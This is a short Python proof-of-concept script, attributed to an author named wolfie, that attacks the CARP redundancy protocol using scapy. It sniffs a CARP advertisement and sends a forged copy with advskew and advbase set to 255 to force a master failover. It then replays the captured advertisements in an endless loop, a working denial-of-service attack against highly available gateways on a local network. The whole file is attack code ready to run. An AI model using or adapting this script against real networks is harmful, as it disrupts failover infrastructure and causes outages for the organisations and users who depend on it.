#!/usr/bin/env python """ CARP DoS PoC by wolfie wolfie@ontogeny.ac.nz Make sure the iface var below is correct for your machine :) """ from scapy.all import * import time conf.verb = 0 iface = "vmnet8" print "[*] capturing current master's advertisement" r = sniff(iface = iface, filter = 'proto 112', count = 1) pkt = r[0] # save it for replay later fpkt = pkt.copy() # make sure checksums are updated automatically when the packet is sent pkt[IP].chksum = None pkt[CARP].chksum = None # set the two affected fields to force failover of current master pkt[CARP].advskew = 255 pkt[CARP].advbase = 255 print "[*] forcing failover of master" sendp(pkt, iface = iface, count = 1) print "[*] waiting for new master to be elected" time.sleep(2) print "[*] capturing new master's advertisement" pkt = sniff(iface = iface, filter = 'proto 112', count = 1) print "[*] replaying both captured packets" sendp([fpkt, pkt[0]], iface = iface, loop = 1, inter = 1)